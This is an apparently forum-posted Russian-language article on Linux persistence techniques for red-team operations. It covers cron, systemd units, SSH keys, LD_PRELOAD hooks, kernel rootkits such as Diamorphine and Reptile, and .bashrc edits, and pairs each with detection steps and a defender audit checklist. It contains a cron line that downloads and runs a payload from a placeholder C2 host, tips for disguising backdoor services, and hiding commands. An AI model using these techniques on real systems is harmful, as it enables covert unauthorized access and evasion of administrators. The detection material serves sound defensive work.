Вот ситуация: вы получили reverse shell на Linux-сервере через дырявый веб-сервис. Первая мысль - «отлично, я внутри». Вторая - «а завтра админ перезагрузит сервер, и я потеряю всё». Persistence - закрепление в системе - это то, что отличает случайное проникновение от полноценной операции. Ниже разберу пять техник закрепления в Linux, которые реально используются в Red Team engagement'ах, и для каждой сразу покажу, как её обнаружить. Без воды - конкретные команды, конкретные файлы и конкретные ловушки, в которые попадают и атакующие, и защитники.
Что такое persistence и почему это критично для post-exploitation
Persistence в терминах MITRE ATT&CK - набор тактик, позволяющих атакующему сохранять доступ к скомпрометированной системе после перезагрузки, смены паролей или даже частичной очистки. По сути, вы прячете «запасной вход» так, чтобы даже если основной канал обнаружат и закроют - вы могли вернуться.Linux-серверы - идеальная цель для закрепления. Перезагружаются редко, антивируса в привычном понимании почти нигде нет, а админы далеко не всегда мониторят все точки автозагрузки. Большинство материалов по теме перечисляют техники списком, но не объясняют логику выбора: когда cron, а когда systemd? Почему SSH-ключи надёжнее reverse shell в
.bashrc? В каком случае стоит рисковать с kernel-модулем? Именно эту логику я и раскрою.Каждая техника привязана к конкретному MITRE ATT&CK ID - это не академическое украшение, а способ связать атакующую технику с правилами детекта в вашем SIEM.
Linux cron backdoor: самый частый и самый шумный способ
Cron (T1053.003 - Execution, Persistence, Privilege Escalation) - первое, за что хватается начинающий атакующий, и первое, что проверяет опытный защитник. Планировщик задач выполняет команды по расписанию - а значит, можно прописать загрузку payload'а каждые пять минут.Типичный сценарий: атакующий добавляет
[I]/5 [/I] [I] [/I] * wget -O /tmp/.update.sh http://c2.example.com/payload && bash /tmp/.update.sh >/dev/null 2>&1 в crontab скомпрометированного пользователя. Трюк с >/dev/null 2>&1 подавляет весь вывод и делает задачу «тихой» в логах.Где именно прячутся вредоносные cron-задачи
Вот что нужно понимать: cron - это не один файл, это целое хозяйство. Новичок проверитcrontab -l от своего пользователя и решит, что всё чисто. Опытный специалист проверит минимум пять мест.Персональные crontab-файлы каждого пользователя лежат в
/var/spool/cron/crontabs/ (Debian) или /var/spool/cron/ (Red Hat). Команда for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done проходит по всем учёткам. Особое внимание - на сервисных пользователей вроде www-data, nobody, apache. Атакующие любят именно их, потому что админы редко заглядывают в crontab сервисных аккаунтов.Системный
/etc/crontab может содержать вставки в самом конце файла. Директории /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ - здесь скрипты получают «легитимные» имена вроде logrotate-helper или php_cache_update, чтобы не бросаться в глаза при беглом просмотре.По данным исследования dohost.us, атакующие часто маскируют payload'ы под системные задачи - файлы
000anacron или sysstat-collect. Работает, потому что админ видит знакомое имя и пролистывает дальше.Обнаружение cron-бэкдора на практике
Первый шаг - тот самый цикл по всем пользователям. Второй -ls -la /etc/cron.* с флагом -a для скрытых файлов. Третий - логи: на Debian смотрите /var/log/cron.log или grep CRON /var/log/syslog, на Red Hat - /var/log/cron. Если задача дёргается каждые пять минут и вызывает curl, wget или bash с сетевым обращением - красный флаг.Для автоматизации - auditd с правилом на запись в
/var/spool/cron/ и /etc/cron.d/. LinPEAS при сканировании выводит все нестандартные cron-задачи в отдельной секции - полезно и пентестеру, и защитнику.Systemd persistence: вредоносный сервис под видом легитимного
Systemd Service (T1543.002 - Persistence, Privilege Escalation) - более элегантный способ, чем cron. Systemd сам перезапустит «упавший» сервис, и в списке юнитов ваш бэкдор будет выглядеть как обычный демон.Атакующий создаёт unit-файл с директивами
Restart=always и RestartSec=60. ExecStart указывает на reverse shell или загрузчик. Файл кладётся в /etc/systemd/system/ (нужен root) или в ~/.config/systemd/user/ (обычный пользователь). Дальше systemctl enable + systemctl start - сервис закреплён и переживёт перезагрузку.
INI:
[Unit]
Description=System Log Aggregator
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/syslogd-helper
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
System Log Aggregator и бинарь syslogd-helper - выглядит абсолютно легитимно. Именно так это делается в реальных операциях. Никаких persistence.service или backdoor.service, как показывают в туториалах.User-level vs system-level: важная разница для атакующего
Момент, на котором спотыкаются новички: user-mode сервисы черезsystemctl --user работают только пока пользователь залогинен - если не включён loginctl enable-linger. Забудете про linger - сервис умрёт при выходе из системы. System-level юниты в /etc/systemd/system/ требуют root, зато работают всегда.Ещё один хитрый приём (описан на temofeev.ru): вписать свой юнит в зависимости легитимного сервиса через
Requires=, а вредоносную логику засунуть в OnFailure=. Если админ найдёт и удалит ваш юнит, легитимный сервис перестанет стартовать, кинет ошибку - и выполнит код из OnFailure. Это уже persistence, который переживает даже частичную очистку. Красиво, правда?Обнаружение вредоносных systemd-юнитов
systemctl list-unit-files --state=enabled покажет все активированные юниты. Ищите незнакомые имена и юниты, созданные недавно - проверяйте через stat /etc/systemd/system/suspicious.service. LinPEAS и pspy хорошо подсвечивают нестандартные юниты. Отдельно проверяйте ~/.config/systemd/user/ для каждого аккаунта - это место часто пропускают при аудите.Для мониторинга в реальном времени - auditd-правило на
/etc/systemd/system/ и inotify-watch на создание новых файлов. Sysmon for Linux (по данным linuxsecurity.com) эффективно логирует создание процессов и позволяет связать запуск подозрительного бинаря с юнит-файлом.SSH-ключи как backdoor: тихо, надёжно, переживает смену пароля
SSH Authorized Keys (T1098.004 - Persistence, Privilege Escalation) - мой любимый метод закрепления на реальных engagement'ах. Причина проста: это абсолютно легитимный механизм аутентификации. Никаких дополнительных процессов, никаких странных сервисов или cron-задач.Сценарий: атакующий генерирует пару ключей
ssh-keygen -t ed25519 -f /tmp/backdoor_key -N "", затем добавляет публичный ключ в ~/.ssh/authorized_keys целевого пользователя. Критически важно выставить правильные права: chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys. Если права кривые - SSH-демон откажется использовать файл, и ваш бэкдор просто не сработает. На эти грабли наступает каждый второй новичок.Lateral movement через SSH (T1021.004) позволяет использовать закреплённый ключ для подключения к другим хостам, где тот же пользователь (например,
deploy или ansible) имеет соответствующий authorized_keys.Продвинутые трюки с SSH-ключами
Добавление ключа в/root/.ssh/authorized_keys - очевидный ход, который быстро обнаружат. Менее заметные варианты: добавить ключ системному пользователю вроде git, deploy или backup, у которого есть shell-доступ, и за ним никто не следит.Ещё один приём - директива
AuthorizedKeysFile в /etc/ssh/sshd_config. Если атакующий поменяет эту строку на /etc/ssh/.auth_keys, стандартный аудит authorized_keys ничего не найдёт. Файл-то лежит в совсем другом месте.Обнаружение подброшенных ключей
find / -name "authorized_keys" -exec ls -la {} \; 2>/dev/null найдёт все файлы authorized_keys в системе. Смотрите на timestamp - если файл менялся недавно, а легитимных изменений не было, это сигнал. Проверяйте /etc/ssh/sshd_config на нестандартные значения AuthorizedKeysFile. Мониторинг через auditd: -w /root/.ssh/authorized_keys -p wa -k ssh_key_modification даёт алерт при любом изменении файла.LD_PRELOAD rootkit: перехват без модификации бинарей
Dynamic Linker Hijacking (T1574.006 - Persistence, Privilege Escalation, Defense Evasion) - техника, которая позволяет подменять функции стандартных библиотек, не трогая сами бинари. Динамический линковщик Linux загружает библиотеки изLD_PRELOAD или файла /etc/ld.so.preload раньше всех остальных. Ваша функция read() вызывается вместо стандартной - и вы можете фильтровать вывод, прятать файлы, маскировать процессы.На практике: атакующий пишет на C библиотеку, перехватывающую
readdir(), чтобы скрывать файлы с определённым префиксом из листинга. Компилируется через gcc -shared -fPIC -o /lib/.hidden.so hook.c -ldl, прописывается в /etc/ld.so.preload. После этого ls, find и даже stat не увидят скрытые файлы - все они используют одну и ту же библиотечную функцию.Почему LD_PRELOAD не работает с SUID-бинарями
Момент, который обязательно нужно проговорить: если бинарь имеет бит SUID или SGID, линковщик игнорируетLD_PRELOAD из соображений безопасности. sudo, passwd, ping и прочие SUID-бинари не загрузят вашу вредоносную библиотеку через переменную окружения. Но файл /etc/ld.so.preload работает даже для SUID-бинарей - именно поэтому атакующие предпочитают этот файл, а не переменную.Обнаружение LD_PRELOAD-хуков
Проверка банальна, но работает:cat /etc/ld.so.preload - файл либо не должен существовать, либо пустой на большинстве систем. Если там что-то есть - это почти наверняка нештатная ситуация. Дальше: env | grep LD_PRELOAD для текущего пользователя и grep LD_PRELOAD /etc/environment /etc/profile /etc/bash.bashrc ~/.bashrc для проверки shell-конфигов. ldd /usr/bin/ls покажет, какие библиотеки загружаются - нестандартные пути должны насторожить.Linux rootkit: Diamorphine, Reptile и модификация syscall table
Rootkit (T1014 - Defense Evasion) в связке с Kernel Modules and Extensions (T1547.006 - Persistence, Privilege Escalation) - высший уровень закрепления в Linux. Загружаемый модуль ядра (LKM) получает полный контроль над ОС: может скрывать процессы, файлы, сетевые соединения и даже других пользователей.Два наиболее известных open-source rootkit'а, исходники которых я разбирал сам, - Diamorphine и Reptile. Diamorphine работает через перехват системных вызовов: в старых версиях подменял указатели в syscall table (отключая WP-бит через cr0), а в современных (ядра 4.17+) использует ftrace-хуки. При вызове
getdents64 (листинг файлов) или kill (отправка сигналов) вызывается его функция-обёртка. Управление - через сигналы: kill -31 <PID> - эскалация до root для вызывающего процесса, kill -63 <PID> - скрытие/отображение процесса, kill -64 - скрытие самого модуля из lsmod.Reptile использует аналогичный подход, но добавляет скрытый reverse shell, активируемый magic-пакетом - специальным сетевым пакетом с определённой сигнатурой, который не отображается в обычном трафике. Зверь посерьёзнее.
Как обнаружить LKM rootkit
Парадокс kernel-rootkit'а: он контролирует ядро, а значит, может обмануть любой инструмент из userspace. Тем не менее рабочие методы есть.Сравнение
/proc/modules с содержимым /sys/module/ - расхождения указывают на скрытый модуль (lsmod не поможет, он парсит тот же /proc/modules). Для Diamorphine можно проверить наличие перехвата: записать известный PID, отправить kill -63 <PID> - если процесс исчезнет из ps, Diamorphine активен. Но этот тест модифицирует состояние системы, так что используйте осторожно.rkhunter (
rkhunter --check) и chkrootkit выполняют базовые проверки, хотя продвинутые LKM-rootkit'ы могут их обойти. Более надёжный подход - анализ памяти ядра через Volatility или LiME (Linux Memory Extractor) на отдельной доверенной машине.Модификация shell-конфигов: .bashrc и .bash_profile
Unix Shell Configuration Modification (T1546.004 - Persistence, Privilege Escalation) - метод, который сам по себе не переживёт перезагрузку, но срабатывает каждый раз, когда пользователь открывает терминал или входит по SSH. Атакующий вставляет reverse shell в.bashrc или .bash_profile - и при каждом логине жертвы получает новое соединение.Тонкость, на которой спотыкаются даже опытные специалисты:
.bash_profile выполняется только для login shell (вход по SSH, su -l), а .bashrc - для интерактивных non-login shell (открытие терминала). В Ubuntu .bash_profile по умолчанию отсутствует, bash читает .profile, который делает source .bashrc - вставка в .bashrc покрывает оба случая. Но если .bash_profile существует (RHEL/CentOS), он перекрывает .profile, и .bashrc для login shell не выполнится. Нужна вставка в оба файла. А .bash_login вообще не выполняется при наличии .bash_profile - путаница знатная.Системные аналоги -
/etc/profile, /etc/bash.bashrc, /etc/environment - требуют root, но затрагивают всех пользователей. Обнаружение: регулярный diff этих файлов с эталоном или мониторинг через auditd с ключом на запись.Практический чеклист: полный аудит persistence в Linux
Собираем всё в одно место. Последовательность, которую я использую на каждом engagement'е при threat hunting:
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Bash:
# 1. Cron - все пользователи
for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; crontab -u $u -l 2>/dev/null; done
ls -la /etc/cron.* /var/spool/cron/
# 2. Systemd - нестандартные юниты
systemctl list-unit-files --state=enabled | grep -v '/usr/lib/'
find ~/.config/systemd/ /etc/systemd/system/ -name '*.service' -newer /etc/hostname
# 3. SSH - все authorized_keys
find / -name authorized_keys -o -name authorized_keys2 2>/dev/null | xargs ls -la
grep AuthorizedKeysFile /etc/ssh/sshd_config
# 4. LD_PRELOAD
cat /etc/ld.so.preload 2>/dev/null; echo "---"
grep -r LD_PRELOAD /etc/environment /etc/profile.d/ /etc/bash.bashrc
# 5. Kernel modules и rootkits
diff <(lsmod | awk '{print $1}' | sort) <(ls /sys/module/ | sort); rkhunter --check --sk
Дополнительно рекомендую auditd-правила на все критические пути:
/var/spool/cron/, /etc/systemd/system/, /root/.ssh/, /etc/ld.so.preload. Sysmon for Linux в связке с auditd покрывает и создание файлов, и запуск подозрительных процессов.
Как выбрать технику закрепления под конкретный сценарий
Техники закрепления в Linux не равнозначны. Выбор зависит от привилегий, задачи и допустимого уровня «шума».Обычный пользователь без root - работают user-cron, пользовательские systemd-юниты (
--user) и SSH-ключи. С root - открываются system-level cron, systemd в /etc/systemd/system/, /etc/ld.so.preload и LKM-rootkits.По скрытности: SSH-ключи практически бесшумны. Cron - шумный, обнаруживается первым. Systemd - средний уровень. LD_PRELOAD - тихий, но палится проверкой одного файла. Rootkit - максимальная скрытность, но и максимальный риск уронить систему.
По надёжности: systemd с
Restart=always - самый надёжный, переживёт и перезагрузку, и падение процесса. Cron с интервалом в 5 минут - второй. SSH-ключ - вечный, пока не удалят файл. Rootkit переживает всё, кроме обновления ядра и перезагрузки (если модуль не прописан в /etc/modules-load.d/ или /etc/modules, а для выживания после обновления ядра - через DKMS для автоматической пересборки).В реальных операциях я всегда комбинирую минимум два метода: основной канал (systemd или SSH-ключ) и резервный (cron или .bashrc). Если защитники находят один - второй остаётся.
Вопрос к читателям
В чеклисте выше я используюfind / -name authorized_keys для поиска подброшенных SSH-ключей, но это не ловит сценарий с изменённым AuthorizedKeysFile в sshd_config на нестандартный путь вроде /etc/ssh/.auth_store. Кто настраивал auditd-правило, покрывающее именно этот кейс - мониторинг изменений директивы AuthorizedKeysFile в /etc/ssh/sshd_config плюс watch на появление новых файлов по нестандартному пути? Покажите вашу конфигурацию auditd-rule: какой ключ -k используете и ловите ли sshd -t (тест конфига) как дополнительный индикатор?
Последнее редактирование модератором: